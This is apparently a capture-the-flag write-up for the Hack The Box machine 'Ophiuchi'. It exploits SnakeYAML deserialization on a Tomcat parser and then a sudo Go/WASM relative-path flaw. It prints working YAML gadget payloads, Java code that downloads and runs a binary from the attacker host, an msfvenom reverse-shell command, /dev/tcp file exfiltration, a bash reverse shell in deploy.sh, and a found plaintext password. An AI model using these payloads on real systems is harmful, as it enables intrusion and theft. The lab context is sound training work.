Ophiuchi starts off by enumerating a Java web application that offers a service for parsing YAML. The parser is vulnerable to YAML deserialization attack, and exploiting it results in an interactive shell access to the system. Internal enumeration of the system finds a set of user credentials. This user is allowed to run a specific Go program which loads a web assembly file and executes a script file if a certain condition is met. The program loads these files without their absolute path. As a result, the files could be replaced with malicious ones to gain root access.

Skills Learned

  • YAML deserialization attack
  • Web Assembly (WASM)
  • Code Analysis (Go & WASM)
  • Sudo exploitation

Tools

Reconnaissance

Nmap

A full TCP scan using nmap discovers 2 open ports: SSH on port 22 and an Apache Tomcat servlet on port 8080.

→ root@kali «ophiuchi» «10.10.14.53» 
$ nmap -p- --reason -oA nmap/10-tcp-allport-ophiuchi 10.10.10.227                                           
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-17 10:09 EDT
Nmap scan report for 10.10.10.227
Host is up, received echo-reply ttl 63 (0.056s latency).
Not shown: 65533 closed ports
Reason: 65533 resets
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 77.26 seconds

→ root@kali «ophiuchi» «10.10.14.53» 
$ nmap -p22,8080 -sC -sV -oA nmap/10-tcp-allport-scripts-ophiuchi 10.10.10.227
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-17 10:21 EDT
Nmap scan report for 10.10.10.227
Host is up (0.055s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.35 seconds

Enumeration

TCP 8080 - Website

On port 8080, the machine hosts a site that serves a YAML parser service.

image-20210617212718924

When I submit a sample YAML payload, it returns the following message.

image-20210729200644337

But, if I send an invalid payload, for example:

test: test
  test: test

I get the following results:

image-20210729200616087

From the error above, I noticed the org.yaml.snake.yaml.load package is being used. This package is typically used for YAML deserialization.

Foothold

Shell as tomcat

SnakeYAML Insecure Deserialization - PoC

Although the web app said the parser feature is temporarily on hold, I’m sure that each payload I submit is being processed on the backend.

Searching on Google about the Snake YAML deserialization attack, I came across this post . I took the payload from that post and modified the URL to point to my HTB IP. I will setup a netcat listener and submit the payload to the parser.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.23/iamf"]
  ]]
]

On my listener, I get the following request.

→ kali@kali «ophiuchi» «10.10.14.23» 
$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.227] 53002
GET /iamf HTTP/1.1
User-Agent: Java/11.0.8
Host: 10.10.14.23
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

image-20210729202237145

That means the parser is vulnerable to insecure deserialization attack!

SnakeYAML Insecure Deserialization - Weaponize

The researcher on the previous post uses a .jar payload from this Github repo to get a code execution. I will clone that repo to my machine.

→ kali@kali «exploits» «10.10.14.23» 
$ git clone https://github.com/artsploit/yaml-payload.git && cd yaml-payload
Cloning into 'yaml-payload'...
remote: Enumerating objects: 10, done.
remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10
Receiving objects: 100% (10/10), done.

From that repo, I will modify the codes of AwesomeScriptEngineFactory.java file to make it executes a sequence OS commands that will grab my malicious binary and execute it afterwards.

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("wget http://10.10.14.23/iamf-shell -O /tmp/iamf-shell;");
            Runtime.getRuntime().exec("chmod +x /tmp/iamf-shell");
            Runtime.getRuntime().exec("/tmp/iamf-shell");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    
...[SNIP]...
}

Next, I will compile the code and pack the whole src/ folder into a java archive (jar) file.

→ kali@kali «yaml-payload» «10.10.14.23» git:(master)$  javac src/artsploit/AwesomeScriptEngineFactory.java && jar -cvf yaml-payload.jar -C src/ .
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
adding: META-INF/ (in=0) (out=0) (stored 0%)
adding: META-INF/MANIFEST.MF (in=56) (out=56) (stored 0%)
adding: ./ (in=0) (out=0) (stored 0%)
adding: META-INF/ (in=0) (out=0) (stored 0%)
adding: META-INF/services/ (in=0) (out=0) (stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactoed -5%)
adding: artsploit/ (in=0) (out=0) (stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.class (in=1%)
adding: artsploit/AwesomeScriptEngineFactory.java~ (in=5)
adding: artsploit/AwesomeScriptEngineFactory.java (in=16)
Total:
------
(in = 4083) (out = 2846) (deflated 30%)

Then I will create my malicious binary using msfvenom. This binary along with the jar will be hosted using a Python web server.

→ kali@kali «exploits» «10.10.14.23» 
$ msfvenom -p linux/x64/shell_reverse_tcp lhost=10.10.14.23 lport=53 -f elf -o iamf-shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: iamf-shell

Finally, I will setup a netcat listener and submit the following payload.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.23/yaml-payload.jar"]
  ]]
]

Within a few seconds, I get an interactive shell as tomcat.

image-20210729220701287

Shell Upgrade

As usual, I will do the PTY trick to upgrade my shell.

which script
/usr/bin/script                                                     
script /dev/null -c bash                                            
Script started, file is /dev/null                                   
tomcat@ophiuchi:/$ export TERM=xterm
export TERM=xterm
tomcat@ophiuchi:/$ ^Z 
[2]  + 7400 suspended  nc -nvlp 53
→ kali@kali «exploits» «10.10.14.23» 
$ stty raw -echo;fg
[2]  - 7400 continued  nc -nvlp 53

tomcat@ophiuchi:/$ stty rows 30 cols 126

Privilege Escalation

Shell as admin

Enumeration

There are only two users in this machine who have login shell: root and admin.

tomcat@ophiuchi:/opt/tomcat$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:,,,:/home/admin:/bin/bash

Using grep to search for a “password” recursively on the tomcat home directory (/opt/tomcat) reveals a set of credentials for user admin.

tomcat@ophiuchi:/opt/tomcat$ grep -Ri "password" 
...[SNIP]...
conf/tomcat-users.xml:<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>     ...[SNIP]...

SSH - admin

The password whythereisalimit works on SSH for user admin.

→ kali@kali «exploits» «10.10.14.23» 
$ ssh admin@10.10.10.227 
admin@10.10.10.227's password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)

...[SNIP]...

  System load:             0.08
  Usage of /:              19.9% of 27.43GB
  Memory usage:            17%
  Swap usage:              0%
  Processes:               214
  Users logged in:         0
  IPv4 address for ens160: 10.10.10.227
  IPv6 address for ens160: dead:beef::250:56ff:feb9:90cf


...[SNIP]...

Last login: Mon Jan 11 08:23:12 2021 from 10.10.14.2
admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)

User flag is done here.

Shell as root

Enumeration

User admin is allowed to run a Go program as root.

admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

Source Code Analysis - index.go

What index.go does is:

  • It reads a web assembly file called main.wasm and creates an instance of that file.
  • It then exports a function called “info” from the instance and executes it. If the results of that function is “1”, it runs the deploy.sh file.
package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)


func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

Also, it’s important to note that this index.go loads deploy.sh and main.wasm with relative path. The deploy.sh and main.wasm themself can be found under /opt/wasm-functions directory.

admin@ophiuchi:/opt/wasm-functions$ ls -lah
total 3.9M
drwxr-xr-x 3 root root 4.0K Oct 14  2020 .
drwxr-xr-x 5 root root 4.0K Oct 14  2020 ..
drwxr-xr-x 2 root root 4.0K Oct 14  2020 backup
-rw-r--r-- 1 root root   88 Oct 14  2020 deploy.sh
-rwxr-xr-x 1 root root 2.5M Oct 14  2020 index
-rw-rw-r-- 1 root root  522 Oct 14  2020 index.go
-rwxrwxr-x 1 root root 1.5M Oct 14  2020 main.wasm

The deploy.sh contains a to-do note of a lazy admin.

admin@ophiuchi:/opt/wasm-functions$ cat deploy.sh 
#!/bin/bash

# ToDo
# Create script to automatic deploy our new web at tomcat port 8080

From here, I will exfil the entire /opt/wasm-functions/ to my machine.

admin@ophiuchi:/opt$ tar -czvf /tmp/wasm-functions.tar.gz wasm-functions/
wasm-functions/
wasm-functions/index
wasm-functions/index.go
wasm-functions/deploy.sh
wasm-functions/main.wasm
wasm-functions/backup/
wasm-functions/backup/index.go
wasm-functions/backup/deploy.sh
wasm-functions/backup/main.wasm
admin@ophiuchi:/opt$ cat /tmp/wasm-functions.tar.gz > /dev/tcp/10.10.14.23/53

On my listener:

→ kali@kali «exploits» «10.10.14.23» 
$ nc -nvlp 53 > wasm-functions.tar.gz
listening on [any] 53 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.227] 45380

Reversing main.wasm

WASM can be {de,re}compiled using a tool, called wabt. I will clone the repo and make the tool available to system-wide.

$ wget https://github.com/WebAssembly/wabt/releases/download/1.0.23/wabt-1.0.23-ubuntu.tar.gz -O /opt/
$ tar -xvf /opt/wabt-1.0.23-ubuntu.tar.gz
$ export PATH="/opt/wabt-1.0.23/bin":$PATH

I will decompile the main.wasm using wasm-decompile, and it reveals that the info function has return value of 0.

→ kali@kali «wasm-functions» «10.10.14.23» 
$ wasm-decompile main.wasm 
export memory memory(initial: 16, max: 0);

global g_a:int = 1048576;
export global data_end:int = 1048576;
export global heap_base:int = 1048576;

table T_a:funcref(min: 1, max: 1);

export function info():int {
  return 0
}

Exploitation

I needed a return value of 1, so that index.go will execute the deploy.sh, therefore I will need to modify the main.wasm using wasm2wat.

→ kali@kali «exploits» «10.10.14.23» 
$ wasm2wat ../loot/wasm-functions/main.wasm | tee main.wat
(module
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 0)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

Then in main.wat, I will modify the return value of the info function to 1.

...[SNIP]...
  (func $info (type 0) (result i32)
    i32.const 1)
...[SNIP]...

I will compile the main.wat back to main.wasm using wat2wasm.

→ kali@kali «exploits» «10.10.14.23» 
$ wat2wasm main.wat 

Then I will create my own deploy.sh that contains a reverse shell.

→ kali@kali «exploits» «10.10.14.23» 
$ cat deploy.sh 
#!/bin/sh
bash -c "bash -i >& /dev/tcp/10.10.14.23/53 0>&1"

I will transfer my main.wasm and deploy.sh using scp to/tmp/.

→ kali@kali «exploits» «10.10.14.23» 
$ scp main.wasm deploy.sh  admin@10.10.10.227:/tmp
admin@10.10.10.227's password: 
main.wasm                                                                                   100%  112     1.7KB/s   00:00    
deploy.sh                                                                                   100%   60     1.1KB/s   00:00 

Finally, I will setup a netcat listener and run the allowed sudo command on the /tmp/ directory.

admin@ophiuchi:/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go

Now I have a root shell on my listener.

→ kali@kali «exploits» «10.10.14.23» 
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.227] 45382
root@ophiuchi:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ophiuchi:/tmp# 

image-20210729230638797

References